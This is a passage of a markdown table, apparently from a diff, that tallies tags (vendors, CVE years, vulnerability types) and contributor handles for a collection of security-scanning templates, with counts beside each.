| | | | | +| authenticated | 90 | milo2012 | 14 | | | | | | | +| redirect | 87 | r3dg33k | 14 | | | | | | | +| login | 87 | 0ri2n | 13 | | | | | | | +| router | 84 | sharath | 13 | | | | | | | +| takeover | 74 | tenbird | 13 | | | | | | | +| token | 72 | melbadry9 | 12 | | | | | | | +| devops | 71 | johnk3r | 12 | | | | | | | +| ssrf | 69 | suman_kar | 12 | | | | | | | +| cve2017 | 67 | dogasantos | 11 | | | | | | | +| file | 60 | wdahlenb | 11 | | | | | | | +| auth-bypass | 59 | cyllective | 11 | | | | | | | +| oracle | 57 | random-robbie | 11 | | | | | | | +| intrusive | 56 | elsfa7110 | 11 | | | | | | | +| cms | 55 | alph4byt3 | 10 | | | | | | | +| network | 55 | nadino | 10 | | | | | | | +| disclosure | 53 | random_robbie | 10 | | | | | | | +| seclists | 51 | tess | 10 | | | | | | | +| cve2016 | 48 | meme-lord | 10 | | | | | | | +| cisco | 47 | hackergautam | 10 | | | | | | | +| google | 46 | emadshanab | 9 | | | | | | | +| cve2015 | 46 | 0x240x23elu | 9 | | | | | | | +| fileupload | 44 | oppsec | 9 | | | | | | | +| plugin | 41 | aashiq | 8 | | | | | | | +| cve2014 | 41 | iamthefrogy | 8 | | | | | | | +| adobe | 40 | zh | 8 | | | | | | | +| oss | 39 | logicalhunter | 8 | | | | | | | +| vulhub | 36 | that_juan_ | 8 | | | | | | | +| logs | 36 | amit-jd | 7 | | | | | | | +| aem | 36 | harshbothra_ | 7 | | | | | | | +| traversal | 35 | randomstr1ng | 7 | | | | | | | +| vmware | 35 | caspergn | 7 | | | | | | | +| atlassian | 34 | divya_mudgal | 7 | | | | | | | +| tenable | 33 | leovalcante | 7 | | | | | | | +| injection | 33 | dr_set | 7 | | | | | | | +| listing | 31 | techryptic (@tech) | 7 | | | | | | | +| hackerone | 31 | kophjager007 | 7 | | | | | | | +| jira | 31 | puzzlepeaches | 6 | | | | | | | +| generic | 28 | praetorian-thendrickson | 6 | | | | | | | +| springboot | 28 | evan rubinstein | 6 | | | | | | | +| dns | 27 | iamnoooob | 6 | | | | | | | +| kubernetes | 27 | nullfuzz | 6 | | | | | | | +| huntr | 27 | forgedhallpass | 6 | | | | | | | +| log4j | 25 | __fazal | 6 | | | | | | | +| sap | 25 | veshraj | 6 | | | | | | | +| cnvd | 25 | pentest_swissky | 6 | | | | | | | +| microsoft | 23 | _0xf4n9x_ | 6 | | | | | | | +| proxy | 23 | rootxharsh | 6 | | | | | | | +| jndi | 22 | imnightmaree | 6 | | | | | | | +| debug | 22 | pathtaga | 6 | | | | | | | +| manageengine | 21 | panch0r3d | 5 | | | | | | | +| misc | 21 | podalirius | 5 | | | | | | | +| zoho | 21 | yanyun | 5 | | | | | | | +| wp-theme | 21 | lu4nx | 5 | | | | | | | +| aws | 20 | joanbono | 5 | | | | | | | +| fuzz | 20 | ganofins | 5 | | | | | | | +| cve2012 | 20 | nodauf | 5 | | | | | | | +| weblogic | 19 | xelkomy | 5 | | | | | | | +| tomcat | 19 | dolev farhi | 4 | | | | | | | +| php | 19 | 3th1c_yuk1 | 4 | | | | | | | +| deserialization | 19 | r3naissance | 4 | | | | | | | +| dlink | 18 | wisnupramoedya | 4 | | | | | | | +| k8s | 18 | dadevel | 4 | | | | | | | +| api | 18 | defr0ggy | 4 | | | | | | | +| ibm | 18 | scent2d | 4 | | | | | | | +| camera | 18 | e_schultze_ | 4 | | | | | | | +| service | 18 | h1ei1 | 4 | | | | | | | +| jenkins | 17 | tanq16 | 4 | | | | | | | +| wavlink | 17 | incogbyte | 4 | | | | | | | +| cloud | 17 | ph33r | 3 | | | | | | | +| cicd | 16 | dr0pd34d | 3 | | | | | | | +| struts | 16 | mavericknerd | 3 | | | | | | | +| cve2009 | 15 | shine | 3 | | | | | | | +| xxe | 15 | andydoering | 3 | | | | | | | +| gitlab | 15 | lark-lab | 3 | | | | | | | +| cve2011 | 15 | davidmckennirey | 3 | | | | | | | +| firewall | 15 | arcc | 3 | | | | | | | +| printer | 14 | johnjhacking | 3 | | | | | | | +| domainmod | 14 | hahwul | 3 | | | | | | | +| hp | 14 | _generic_human_ | 3 | | | | | | | +| android | 14 | gitlab red team | 3 | | | | | | | +| java | 14 | impramodsargar | 3 | | | | | | | +| lfr | 13 | yash anand @yashanand155 | 3 | | | | | | | +| ruijie | 13 | yuzhe-zhang-0 | 3 | | | | | | | +| msf | 13 | alifathi-h1 | 3 | | | | | | | +| abstractapi | 13 | skeltavik | 3 | | | | | | | +| cve2013 | 13 | unstabl3 | 3 | | | | | | | +| drupal | 12 | shifacyclewala | 3 | | | | | | | +| ftp | 12 | f1tz | 3 | | | | | | | +| graphql | 12 | binaryfigments | 3 | | | | | | | +| confluence | 12 | splint3r7 | 3 | | | | | | | +| nginx | 12 | emenalf | 3 | | | | | | | +| netsweeper | 12 | me9187 | 3 | | | | | | | +| status | 12 | thomas_from_offensity | 3 | | | | | | | +| magento | 12 | 0w4ys | 3 | | | | | | | +| rails | 12 | its0x08 | 3 | | | | | | | +| netgear | 12 | powerexploit | 3 | | | | | | | +| woocommerce | 11 | fyoorer | 3 | | | | | | | +| cve2008 | 11 | mr-xn | 3 | | | | | | | +| microweber | 11 | sushantkamble | 3 | | | | | | | +| cisa | 11 | supras | 3 | | | | | | | +| backup | 11 | dudez | 3 | | | | | | | +| airflow | 11 | ekrause | 3 | | | | | | | +| glpi | 11 | atomiczsec | 3 | | | | | | | +| cnvd2021 | 11 | jarijaas | 3 | | | | | | | +| amazon | 11 | lucasljm2001 | 3 | | | | | | | +| azure | 11 | z3bd | 3 | | | | | | | +| jolokia | 10 | fxploit | 3 | | | | | | | +| github | 10 | whoever | 3 | | | | | | | +| zyxel | 10 | geekby | 2 | | | | | | | +| grafana | 10 | joeldeleep | 2 | | | | | | | +| django | 10 | afaq | 2 | | | | | | | +| fortigate | 10 | z0ne | 2 | | | | | | | +| coldfusion | 10 | kre80r | 2 | | | | | | | +| dell | 10 | bing0o | 2 | | | | | | | +| spring | 10 | udit_thakkur | 2 | | | | | | | +| fortinet | 9 | dheerajmadhukar | 2 | | | | | | | +| laravel | 9 | 0xcrypto | 2 | | | | | | | +| webserver | 9 | lotusdll | 2 | | | | | | | +| kube | 9 | socketz | 2 | | | | | | | +| ruby | 9 | 0xprial | 2 | | | | | | | +| auth | 9 | raesene | 2 | | | | | | | +| phpmyadmin | 9 | cristi vlad (@cristivlad25) | 2 | | | | | | | +| prometheus | 9 | redteambrasil | 2 | | | | | | | +| windows | 9 | manas_harsh | 2 | | | | | | | +| backdoor | 9 | gal nagli | 2 | | | | | | | +| vcenter | 9 | bananabr | 2 | | | | | | | +| iis | 9 | prajiteshsingh | 2 | | | | | | | +| fastjson | 9 | smaranchand | 2 | | | | | | | +| mirai | 9 | nvn1729 | 2 | | | | | | | +| wso2 | 9 | 0xrudra | 2 | | | | | | | +| zabbix | 9 | foulenzer | 2 | | | | | | | +| dedecms | 9 | nuk3s3c | 2 | | | | | | | +| config-audit | 8 | codexlynx | 2 | | | | | | | +| blind | 8 | cocxanh | 2 | | | | | | | +| ssti | 8 | 0xsmiley | 2 | | | | | | | +| citrix | 8 | vavkamil | 2 | | | | | | | +| zimbra | 8 | amsda | 2 | | | | | | | +| headless | 8 | nkxxkn | 2 | | | | | | | +| audit | 8 | y4er | 2 | | | | | | | +| vpn | 8 | mahendra purbia (mah3sec_) | 2 | | | | | | | +| scada | 8 | dbrwsky | 2 | | | | | | | +| git | 8 | 0xsapra | 2 | | | | | | | +| metadata | 8 | x1m_martijn | 2 | | | | | | | +| jboss | 8 | pxmme1337 | 2 | | | | | | | +| kafka | 8 | thezakman | 2 | | | | | | | +| solr | 8 | hackerarpan | 2 | | | | | | | +| ssl | 8 | cckuakilong | 2 | | | | | | | +| elasticsearch | 8 | n-thumann | 2 | | | | | | | +| recon | 8 | myztique | 2 | | | | | | | +| cisco-switch | 8 | koti2 | 2 | | | | | | | +| sonicwall | 8 | israel comazzetto dos reis | 2 | | | | | | | +| icewarp | 7 | ambassify | 2 | | | | | | | +| firebase | 7 | 0xnirvana | 2 | | | | | | | +| druid | 7 | kiblyn11 | 2 | | | | | | | +| symfony | 7 | swissky | 2 | | | | | | | +| jetbrains | 7 | thardt-praetorian | 2 | | | | | | | +| mail | 7 | danielmofer | 2 | | | | | | | +| docker | 7 | badboycxcc | 2 | | | | | | | +| python | 7 | r12w4n | 2 | | | | | | | +| bucket | 7 | bp0lr | 2 | | | | | | | +| cnvd2020 | 7 | w4cky_ | 2 | | | | | | | +| files | 7 | ajaysenr | 2 | | | | | | | +| solarview | 7 | luci | 2 | | | | | | | +| exchange | 7 | g4l1t0 | 2 | | | | | | | +| maps | 7 | bernardofsr | 2 | | | | | | | +| squirrelmail | 7 | 0xelkomy | 2 | | | | | | | +| seeyon | 6 | paperpen | 2 | | | | | | | +| emerge | 6 | joshlarsen | 2 | | | | | | | +| setup | 6 | bsysop | 2 | | | | | | | +| npm | 6 | ree4pwn | 2 | | | | | | | +| go | 6 | github.com/its0x08 | 2 | | | | | | | +| vms | 6 | parth | 2 | | | | | | | +| zhiyuan | 6 | taielab | 2 | | | | | | | +| sitecore | 6 | zomsop82 | 2 | | | | | | | +| liferay | 6 | k11h-de | 2 | | | | | | | +| cobbler | 6 | v0idc0de | 2 | | | | | | | +| bypass | 6 | huowuzhao | 2 | | | | | | | +| ecology | 6 | sy3omda | 2 | | | | | | | +| rconfig | 6 | clarkvoss | 2 | | | | | | | +| bigip | 6 | moritz nentwig | 2 | | | | | | | +| huawei | 6 | hetroublemakr | 2 | | | | | | | +| slack | 6 | randomrobbie | 2 | | | | | | | +| samsung | 6 | ehsahil | 2 | | | | | | | +| websphere | 6 | rafaelwdornelas | 2 | | | | | | | +| magmi | 6 | uomogrande | 2 | | | | | | | +| enum | 6 | paradessia | 2 | | | | | | | +| jetty | 6 | ricardo maia (brainfork) | 2 | | | | | | | +| fpd | 6 | dahse89 | 2 | | | | | | | +| artica | 6 | 666asd | 2 | | | | | | | +| crlf | 6 | fabaff | 2 | | | | | | | +| nodejs | 6 | sbani | 2 | | | | | | | +| kubelet | 6 | martincodes-de | 2 | | | | | | | +| ofbiz | 6 | gevakun | 2 | | | | | | | +| ognl | 6 | brenocss | 2 | | | | | | | +| lucee | 6 | mohammedsaneem | 2 | | | | | | | +| ssh | 5 | convisoappsec | 2 | | | | | | | +| minio | 5 | vsh00t | 2 | | | | | | | +| storage | 5 | d4vy | 2 | | | | | | | +| fatpipe | 5 | wabafet | 1 | | | | | | | +| strapi | 5 | 0xh7ml | 1 | | | | | | | +| metinfo | 5 | liquidsec | 1 | | | | | | | +| leak | 5 | push4d | 1 | | | | | | | +| firmware | 5 | zsusac | 1 | | | | | | | +| opensis | 5 | evan rubinstien | 1 | | | | | | | +| rfi | 5 | true13 | 1 | | | | | | | +| error | 5 | official_blackhat13 | 1 | | | | | | | +| symantec | 5 | tim_koopmans | 1 | | | | | | | +| rseenet | 5 | noamrathaus | 1 | | | | | | | +| gogs | 5 | shifacyclewla | 1 | | | | | | | +| cache | 5 | bernardo rodrigues | 1 | | | | | | | +| | | @bernardofsr | | | | | | | | +| avideo | 5 | amnotacat | 1 | | | | | | | +| moodle | 5 | izn0u | 1 | | | | | | | +| 74cms | 5 | sickwell | 1 | | | | | | | +| alibaba | 5 | jcockhren | 1 | | | | | | | +| apisix | 5 | infosecsanyam | 1 | | | | | | | +| jamf | 5 | bjhulst | 1 | | | | | | | +| keycloak | 5 | daviey | 1 | | | | | | | +| plesk | 5 | becivells | 1 | | | | | | | +| thinkphp | 5 | shreyapohekar | 1 | | | | | | | +| nagios | 5 | arr0way | 1 | | | | | | | +| solarwinds | 5 | kishore krishna (sillydaddy) | 1 | | | | | | | +| cockpit | 5 | yashanand155 | 1 | | | | | | | +| gocd | 5 | mrcl0wnlab | 1 | | | | | | | +| circarlife | 5 | brabbit10 | 1 | | | | | | | +| node | 5 | knassar702 | 1 | | | | | | | +| scan | 5 | jeya seelan | 1 | | | | | | | +| elfinder | 5 | streetofhackerr007 (rohit | 1 | | | | | | | +| | | soni) | | | | | | | | +| carrental | 5 | maximus decimus | 1 | | | | | | | +| mongodb | 4 | osamahamad | 1 | | | | | | | +| flink | 4 | pry0cc | 1 | | | | | | | +| gnuboard | 4 | b0yd | 1 | | | | | | | +| smtp | 4 | ratnadip gajbhiye | 1 | | | | | | | +| kibana | 4 | j3ssie/geraldino2 | 1 | | | | | | | +| voip | 4 | elmahdi | 1 | | | | | | | +| hoteldruid | 4 | sicksec | 1 | | | | | | | +| mailchimp | 4 | jbertman | 1 | | | | | | | +| resin | 4 | twitter.com/dheerajmadhukar | 1 | | | | | | | +| terramaster | 4 | florianmaak | 1 | | | | | | | +| db | 4 | danigoland | 1 | | | | | | | +| search | 4 | evolutionsec | 1 | | | | | | | +| telesquare | 4 | ph33rr | 1 | | | | | | | +| oa | 4 | akshansh | 1 | | | | | | | +| hongdian | 4 | kurohost | 1 | | | | | | | +| install | 4 | justmumu | 1 | | | | | | | +| oauth | 4 | retr02332 | 1 | | | | | | | +| hikvision | 4 | apt-mirror | 1 | | | | | | | +| horde | 4 | hexcat | 1 | | | | | | | +| puppet | 4 | ggranjus | 1 | | | | | | | +| adminer | 4 | orpheus | 1 | | | | | | | +| sophos | 4 | akash.c | 1 | | | | | | | +| stripe | 4 | makyotox | 1 | | | | | | | +| hybris | 4 | aaronchen0 | 1 | | | | | | | +| microstrategy | 4 | p-l- | 1 | | | | | | | +| elastic | 4 | andirrahmani1 | 1 | | | | | | | +| tikiwiki | 4 | philippdelteil | 1 | | | | | | | +| redmine | 4 | bartu utku sarp | 1 | | | | | | | +| openemr | 4 | piyushchhiroliya | 1 | | | | | | | +| nexus | 4 | act1on3 | 1 | | | | | | | +| roxy | 4 | davidfegyver | 1 | | | | | | | +| royalevent | 4 | natto97 | 1 | | | | | | | +| springcloud | 4 | ivo palazzolo (@palaziv) | 1 | | | | | | | +| filemanager | 4 | momen eldawakhly | 1 | | | | | | | +| artifactory | 4 | ldionmarcil | 1 | | | | | | | +| yeswiki | 4 | jas37 | 1 | | | | | | | +| sangfor | 4 | mhdsamx | 1 | | | | | | | +| phppgadmin | 4 | vzamanillo | 1 | | | | | | | +| prestashop | 4 | adrianmf | 1 | | | | | | | +| vbulletin | 4 | th3.d1p4k | 1 | | | | | | | +| xmlrpc | 4 | ola456 | 1 | | | | | | | +| ems | 4 | elder tao | 1 | | | | | | | +| couchdb | 4 | clment cruchet | 1 | | | | | | | +| caucho | 4 | furkansayim | 1 | | | | | | | +| beyondtrust | 4 | 1nf1n7y | 1 | | | | | | | +| telerik | 4 | iampritam | 1 | | | | | | | +| wcs | 4 | blckraven | 1 | | | | | | | +| aspose | 4 | luqman | 1 | | | | | | | +| cve2007 | 4 | 0xd0ff9 | 1 | | | | | | | +| postmessage | 4 | screamy | 1 | | | | | | | +| asp | 4 | bernardo rodrigues | 1 | | | | | | | +| | | @bernardofsr | andrรฉ monteiro | | | | | | | | +| | | @am0nt31r0 | | | | | | | | +| phpinfo | 4 | whynotke | 1 | | | | | | | +| hashicorp | 4 | hakimkt | 1 | | | | | | | +| sonarqube | 4 | b4uh0lz | 1 | | | | | | | +| activemq | 4 | sshell | 1 | | | | | | | +| vrealize | 4 | unkl4b | 1 | | | | | | | +| parallels | 4 | udyz | 1 | | | | | | | +| awstats | 4 | rubina119 | 1 | | | | | | | +| jellyfin | 4 | husain | 1 | | | | | | | +| sql | 4 | deena | 1 | | | | | | | +| cnvd2019 | 4 | yashgoti | 1 | | | | | | | +| kevinlab | 4 | lark lab | 1 | | | | | | | +| cacti | 4 | miryangjung | 1 | | | | | | | +| redis | 4 | iphantasmic | 1 | | | | | | | +| hpe | 4 | ahmed sherif | 1 | | | | | | | +| photo | 4 | kr1shna4garwal | 1 | | | | | | | +| thinkcmf | 4 | luqmaan hadia | 1 | | | | | | | +| | | [luqiih](https://github.com/luqiih) | | | | | | | | +| database | 4 | zhenwarx | 1 | | | | | | | +| panos | 4 | droberson | 1 | | | | | | | +| paypal | 4 | rschio | 1 | | | | | | | +| consul | 3 | amanrawat | 1 | | | | | | | +| exposures | 3 | kba@sogeti_esec | 1 | | | | | | | +| fileman | 3 | xshuden | 1 | | | | | | | +| goanywhere | 3 | alevsk | 1 | | | | | | | +| ivanti | 3 | kailashbohara | 1 | | | | | | | +| dom | 3 | undefl0w | 1 | | | | | | | +| dolibarr | 3 | aaron_costello | 1 | | | | | | | +| | | (@conspiracyproof) | | | | | | | | +| openam | 3 | w0tx | 1 | | | | | | | +| nacos | 3 | opencirt | 1 | | | | | | | +| targa | 3 | 2rs3c | 1 | | | | | | | +| servicenow | 3 | shelld3v | 1 | | | | | | | +| geoserver | 3 | mesaglio | 1 | | | | | | | +| matrix | 3 | higor melgaรงo (eremit4) | 1 | | | | | | | +| finecms | 3 | ok_bye_now | 1 | | | | | | | +| octobercms | 3 | b0rn2r00t | 1 | | | | | | | +| wordfence | 3 | dawid-czarnecki | 1 | | | | | | | +| actuator | 3 | manasmbellani | 1 | | | | | | | +| mcafee | 3 | regala_ | 1 | | | | | | | +| smb | 3 | manuelbua | 1 | | | | | | | +| openbmcs | 3 | thebinitghimire | 1 | | | | | | | +| jupyter | 3 | s1r1u5_ | 1 | | | | | | | +| umbraco | 3 | hardik-rathod | 1 | | | | | | | +| webmail | 3 | patralos | 1 | | | | | | | +| panabit | 3 | ringo | 1 | | | | | | | +| splunk | 3 | tea | 1 | | | | | | | +| glassfish | 3 | ling | 1 | | | | | | | +| ec2 | 3 | httpvoid | 1 | | | | | | | +| grav | 3 | nobody | 1 | | | | | | | +| thinfinity | 3 | streetofhackerr007 | 1 | | | | | | | +| subrion | 3 | rodnt | 1 | | | | | | | +| dzzoffice | 3 | harshinsecurity | 1 | | | | | | | +| voipmonitor | 3 | alperenkesk | 1 | | | | | | | +| messaging | 3 | lixts | 1 | | | | | | | +| jfrog | 3 | open-sec | 1 | | | | | | | +| seagate | 3 | majidmc2 | 1 | | | | | | | +| graph | 3 | coldfish | 1 | | | | | | | +| cloudflare | 3 | daffianfo | 1 | | | | | | | +| kentico | 3 | xstp | 1 | | | | | | | +| javascript | 3 | exploitation | 1 | | | | | | | +| concrete | 3 | kabirsuda | 1 | | | | | | | +| weiphp | 3 | jeya.seelan | 1 | | | | | | | +| heroku | 3 | arm!tage | 1 | | | | | | | +| ampps | 3 | zandros0 | 1 | | | | | | | +| trixbox | 3 | elitebaz | 1 | | | | | | | +| aptus | 3 | exceed | 1 | | | | | | | +| rlm | 3 | prettyboyaaditya | 1 | | | | | | | +| microfocus | 3 | fmunozs | 1 | | | | | | | +| hsphere | 3 | jbaines-r7 | 1 | | | | | | | +| metabase | 3 | aringo | 1 | | | | | | | +| log | 3 | lethargynavigator | 1 | | | | | | | +| graylog | 3 | bad5ect0r | 1 | | | | | | | +| lotus | 3 | sherlocksecurity | 1 | | | | | | | +| dreambox | 3 | pjborah | 1 | | | | | | | +| workspaceone | 3 | pudsec | 1 | | | | | | | +| r-seenet | 3 | bughuntersurya | 1 | | | | | | | +| square | 3 | d0rkerdevil | 1 | | | | | | | +| axigen | 3 | furkansenan | 1 | | | | | | | +| technology | 3 | tirtha_mandal | 1 | | | | | | | +| sentry | 3 | hakluke | 1 | | | | | | | +| sugarcrm | 3 | _c0wb0y_ | 1 | | | | | | | +| sendgrid | 3 | compr00t | 1 | | | | | | | +| sharepoint | 3 | arall | 1 | | | | | | | +| samba | 3 | geraldino2 | 1 | | | | | | | +| ebs | 3 | mubassirpatel | 1 | | | | | | | +| blockchain | 3 | f1she3 | 1 | | | | | | | +| selea | 3 | jteles | 1 | | | | | | | +| httpd | 3 | remonsec | 1 | | | | | | | +| thruk | 3 | ooooooo_q | 1 | | | | | | | +| trendnet | 3 | charanrayudu | 1 | | | | | | | +| getsimple | 3 | elouhi | 1 | | | | | | | +| bigant | 3 | alexrydzak | 1 | | | | | | | +| lansweeper | 3 | schniggie | 1 | | | | | | | +| bruteforce | 3 | oscarintherocks | 1 | | | | | | | +| kingsoft | 3 | 0ut0fb4nd | 1 | | | | | | | +| buffalo | 3 | phyr3wall | 1 | | | | | | | +| geowebserver | 3 | ohlinge | 1 | | | | | | | +| mongo | 3 | chron0x | 1 | | | | | | | +| globalprotect | 3 | kiks7 | 1 | | | | | | | +| 3cx | 3 | nytr0gen | 1 | | | | | | | +| nosqli | 3 | marcos_iaf | 1 | | | | | | | +| httpbin | 3 | h4kux | 1 | | | | | | | +| axis2 | 3 | erethon | 1 | | | | | | | +| digitalocean | 3 | intx0x80 | 1 | | | | | | | +| netdata | 3 | ahmetpergamum | 1 | | | | | | | +| bitrix | 3 | ptonewreckin | 1 | | | | | | | +| tableau | 3 | vinit989 | 1 | | | | | | | +| zte | 3 | mass0ma | 1 | | | | | | | +| elementor | 3 | francescocarlucci | 1 | | | | | | | +| fanruan | 3 | fq_hsu | 1 | | | | | | | +| nuuo | 3 | bibeksapkota (sar00n) | 1 | | | | | | | +| prtg | 3 | kareemse1im | 1 | | | | | | | +| intercom | 3 | _harleo | 1 | | | | | | | +| epson | 3 | miroslavsotak | 1 | | | | | | | +| fuelcms | 3 | xeldax | 1 | | | | | | | +| centos | 3 | breno_css | 1 | | | | | | | +| mobileiron | 3 | zinminphy0 | 1 | | | | | | | +| pentaho | 3 | soyelmago | 1 | | | | | | | +| pip | 3 | hanlaomo | 1 | | | | | | | +| tenda | 3 | lamscun | 1 | | | | | | | +| digitalrebar | 3 | djoevanka | 1 | | | | | | | +| circleci | 3 | rotemreiss | 1 | | | | | | | +| nortek | 3 | _darrenmartyn | 1 | | | | | | | +| modem | 3 | cookiehanhoan | 1 | | | | | | | +| rackn | 3 | anon-artist | 1 | | | | | | | +| cve2005 | 3 | bywalks | 1 | | | | | | | +| synology | 3 | ricardomaia | 1 | | | | | | | +| movable | 3 | micha3lb3n | 1 | | | | | | | +| linksys | 3 | omarkurt | 1 | | | | | | | +| empirecms | 3 | aceseven (digisec360) | 1 | | | | | | | +| netlify | 3 | mantissts | 1 | | | | | | | +| zeroshell | 3 | narluin | 1 | | | | | | | +| facebook | 3 | gboddin | 1 | | | | | | | +| axis | 3 | 0xelkomy & c0nqr0r | 1 | | | | | | | +| odoo | 3 | thesubtlety | 1 | | | | | | | +| linkerd | 3 | retr0 | 1 | | | | | | | +| omnia | 3 | un-fmunozs | 1 | | | | | | | +| jeesns | 3 | kaizensecurity | 1 | | | | | | | +| drawio | 3 | juicypotato1 | 1 | | | | | | | +| dotcms | 3 | 0xtavian | 1 | | | | | | | +| s3 | 3 | pdp | 1 | | | | | | | +| fortios | 3 | kh4sh3i | 1 | | | | | | | +| kkfileview | 3 | sid ahmed malaoui @ realistic | 1 | | | | | | | +| | | security | | | | | | | | +| teamcity | 3 | dievus | 1 | | | | | | | +| webadmin | 3 | pratik khalane | 1 | | | | | | | +| azkaban | 2 | qlkwej | 1 | | | | | | | +| natshell | 2 | flag007 | 1 | | | | | | | +| versa | 2 | paper-pen | 1 | | | | | | | +| metersphere | 2 | korteke | 1 | | | | | | | +| node-red-dashboard | 2 | wlayzz | 1 | | | | | | | +| h3c | 2 | absshax | 1 | | | | | | | +| wwbn | 2 | yuansec | 1 | | | | | | | +| flightpath | 2 | ofjaaah | 1 | | | | | | | +| maian | 2 | nerrorsec | 1 | | | | | | | +| overflow | 2 | 0xceba | 1 | | | | | | | +| electron | 2 | jiheon-dev | 1 | | | | | | | +| mailgun | 2 | andysvints | 1 | | | | | | | +| accela | 2 | dhiyaneshdki | 1 | | | | | | | +| kettle | 2 | remi gascou (podalirius) | 1 | | | | | | | +| homematic | 2 | sec_hawk | 1 | | | | | | | +| rackstation | 2 | luskabol | 1 | | | | | | | +| sysaid | 2 | duty_1g | 1 | | | | | | | +| dvwa | 2 | co0nan | 1 | | | | | | | +| pam | 2 | berkdusunur | 1 | | | | | | | +| openfire | 2 | matthew nickerson (b0than) @ | 1 | | | | | | | +| | | layer 8 security | | | | | | | | +| pascom | 2 | 0xteles | 1 | | | | | | | +| forum | 2 | s0obi | 1 | | | | | | | +| lighttpd | 2 | willd96 | 1 | | | | | | | +| pcoip | 2 | x6263 | 1 | | | | | | | +| guacamole | 2 | failopen | 1 | | | | | | | +| servicedesk | 2 | ipanda | 1 | | | | | | | +| highmail | 2 | 0h1in9e | 1 | | | | | | | +| openssh | 2 | toufik-airane | 1 | | | | | | | +| tidb | 2 | revblock | 1 | | | | | | | +| rancher | 2 | fopina | 1 | | | | | | | +| lantronix | 2 | luqmaan hadia | 1 | | | | | | | +| idrac | 2 | thevillagehacker | 1 | | | | | | | +| ebook | 2 | j33n1k4 | 1 | | | | | | | +| commax | 2 | yavolo | 1 | | | | | | | +| landesk | 2 | rotembar | 1 | | | | | | | +| phpshowtime | 2 | 5up3r541y4n | 1 | | | | | | | +| auerswald | 2 | skylark-lab | 1 | | | | | | | +| flir | 2 | ilovebinbash | 1 | | | | | | | +| key | 2 | affix | 1 | | | | | | | +| ucmdb | 2 | noraj | 1 | | | | | | | +| linux | 2 | ahmed abou-ela | 1 | | | | | | | +| favicon | 2 | jrolf | 1 | | | | | | | +| adiscon | 2 | c3l3si4n | 1 | | | | | | | +| fastcgi | 2 | petruknisme | 1 | | | | | | | +| jitsi | 2 | arjunchandarana | 1 | | | | | | | +| netsus | 2 | aresx | 1 | | | | | | | +| circontrol | 2 | 0xceeb | 1 | | | | | | | +| traefik | 2 | 0xrod | 1 | | | | | | | +| mbean | 2 | notsoevilweasel | 1 | | | | | | | +| gophish | 2 | rojanrijal | 1 | | | | | | | +| webcam | 2 | noobexploiter | 1 | | | | | | | +| pulse | 2 | borna nematzadeh | 1 | | | | | | | +| globaldomains | 2 | exid | 1 | | | | | | | +| cve2006 | 2 | manikanta a.k.a @secureitmania | 1 | | | | | | | +| chyrp | 2 | nielsing | 1 | | | | | | | +| gradle | 2 | alex | 1 | | | | | | | +| froxlor | 2 | notnotnotveg | 1 | | | | | | | +| kong | 2 | calumjelrick | 1 | | | | | | | +| angular | 2 | igibanez | 1 | | | | | | | +| eprints | 2 | tirtha | 1 | | | | | | | +| xsuite | 2 | mah3sec_ | 1 | | | | | | | +| jeedom | 2 | | | | | | | | | +| cas | 2 | | | | | | | | | +| rosariosis | 2 | | | | | | | | | +| plastic | 2 | | | | | | | | | +| hjtcloud | 2 | | | | | | | | | +| idea | 2 | | | | | | | | | +| nextjs | 2 | | | | | | | | | +| openwrt | 2 | | | | | | | | | +| ghost | 2 | | | | | | | | | +| motorola | 2 | | | | | | | | | +| konga | 2 | | | | | | | | | +| jmx | 2 | | | | | | | | | +| saltstack | 2 | | | | | | | | | +| wpqa | 2 | | | | | | | | | +| dvr | 2 | | | | | | | | | +| teampass | 2 | | | | | | | | | +| showdoc | 2 | | | | | | | | | +| orchid | 2 | | | | | | | | | +| conductor | 2 | | | | | | | | | +| sas | 2 | | | | | | | | | +| bmc | 2 | | | | | | | | | +| frontpage | 2 | | | | | | | | | +| netis | 2 | | | | | | | | | +| livezilla | 2 | | | | | | | | | +| bigbluebutton | 2 | | | | | | | | | +| smartstore | 2 | | | | | | | | | +| akamai | 2 | | | | | | | | | +| seeddms | 2 | | | | | | | | | +| ranger | 2 | | | | | | | | | +| dubbo | 2 | | | | | | | | | +| zblogphp | 2 | | | | | | | | | +| emqx | 2 | | | | | | | | | +| horizon | 2 | | | | | | | | | +| glances | 2 | | | | | | | | | +| impresscms | 2 | | | | | | | | | +| apollo | 2 | | | | | | | | | +| xxljob | 2 | | | | | | | | | +| qnap | 2 | | | | | | | | | +| wildfly | 2 | | | | | | | | | +| ad | 2 | | | | | | | | | +| password | 2 | | | | | | | | | +| javamelody | 2 | | | | | | | | | +| virtua | 2 | | | | | | | | | +| xerox | 2 | | | | | | | | | +| ametys | 2 | | | | | | | | | +| pega | 2 | | | | | | | | | +| apereo | 2 | | | | | | | | | +| gespage | 2 | | | | | | | | | +| shenyu | 2 | | | | | | | | | +| nasos | 2 | | | | | | | | | +| redhat | 2 | | | | | | | | | +| kiwitcms | 2 | | | | | | | | | +| avaya | 2 | | | | | | | | | +| octoprint | 2 | | | | | | | | | +| influxdb | 2 | | | | | | | | | +| j2ee | 2 | | | | | | | | | +| carel | 2 | | | | | | | | | +| terraform | 2 | | | | | | | | | +| mantisbt | 2 | | | | | | | | | +| uwsgi | 2 | | | | | | | | | +| hubspot | 2 | | | | | | | | | +| atmail | 2 | | | | | | | | | +| pbootcms | 2 | | | | | | | | | +| jsf | 2 | | | | | | | | | +| ruckus | 2 | | | | | | | | | +| webmin | 2 | | | | | | | | | +| openstack | 2 | | | | | | | | | +| zerof | 2 | | | | | | | | | +| alfresco | 2 | | | | | | | | | +| zzzcms | 2 | | | | | | | | | +| gitbook | 2 | | | | | | | | | +| labkey | 2 | | | | | | | | | +| eventum | 2 | | | | | | | | | +| yonyou | 2 | | | | | | | | | +| waf | 2 | | | | | | | | | +| yii | 2 | | | | | | | | | +| twitter | 2 | | | | | | | | | +| ilo | 2 | | | | | | | | | +| watchguard | 2 | | | | | | | | | +| csrf | 2 | | | | | | | | | +| airtame | 2 | | | | | | | | | +| neos | 2 | | | | | | | | | +| sequoiadb | 2 | | | | | | | | | +| viewpoint | 2 | | | | | | | | | +| zend | 2 | | | | | | | | | +| vigorconnect | 2 | | | | | | | | | +| scriptcase | 2 | | | | | | | | | +| nextcloud | 2 | | | | | | | | | +| myfactory | 2 | | | | | | | | | +| acrolinx | 2 | | | | | | | | | +| fortimail | 2 | | | | | | | | | +| chamilo | 2 | | | | | | | | | +| ixcache | 2 | | | | | | | | | +| hadoop | 2 | | | | | | | | | +| mida | 2 | | | | | | | | | +| xampp | 2 | | | | | | | | | +| 